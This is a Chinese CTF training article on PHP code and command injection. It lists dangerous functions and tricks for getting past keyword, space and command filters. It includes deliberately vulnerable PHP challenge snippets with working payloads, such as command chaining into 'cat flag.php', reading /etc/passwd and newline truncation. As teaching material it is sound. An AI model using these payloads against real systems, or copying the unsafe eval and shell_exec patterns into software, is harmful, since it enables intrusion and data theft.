ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【社团培训】RCE

2021-11-06 01:01:59  阅读:189  来源: 互联网

标签:语句 培训 函数 cat 命令 代码执行 RCE 社团 执行


每月更新 1/1 嘻嘻

前置知识

代码执行(Remote Code Excution)

应用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行。

命令执行(Remote Commond Excution)

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。

相关函数

代码执行函数

eval()
assert()
create_function()

命令执行函数

system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()

常见绕过

绕过禁止的flag

fl\ag
a=fl;b=ag;cat $a$b
cat `ls`
cat $(ls)
cat f""lag
cat f*
cat f???
cat ????.???

实战演示-flag被过滤的绕过

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=system("cat f*");

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru ("cat f*");

查看文件命令

cat: 由第一行开始显示文件内容
tac: 从最后一行开始显示,可以看出tac是cat的倒写形式
nl: 显示的时候顺便显示行号
more: 一页一页地显示文件内容
less: 与more类似,但是比more更好的是,可以往前翻页
tail: 只看结尾几行
od: 以二进制的方式读取文件内容
/bin/c?t /etc/passwd

绕过空格

<
<>
%20(space)
%09(tab)
$IFS$9
${IFS} 

实战演示-空格绕过、cat绕过

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru("tac%09f*");

单行多命令执行

;     执行完前面的语句再执行后面的语句
&   两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&& 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
|     显示后面语句的执行结果
||    当前面的语句执行出错时,执行后面的语句
$(touch TGUCTF) 被$包裹的优先级较高
`touch TGUCTF` 在``内的会被当做命令执行

实战演示-单行多命令执行

<?php

if(isset($_GET['ip'])){
	$ip=$_GET['ip'];
	$a=shell_exec("ping -c 4 ".$ip);
	print_r($a);
}
else{
	highlight_file(__FILE__);
}

?ip=x;cat flag.php

实战演示-截断绕过

<?php
if (isset($_GET['c'])) {
	    $c = $_GET['c'];
	        system($c . " >/dev/null 2>&1");
} else {
	    highlight_file(__FILE__);
}
?>

?c=cat f*%0a

标签:语句,培训,函数,cat,命令,代码执行,RCE,社团,执行
来源: https://www.cnblogs.com/tysec/p/15515797.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有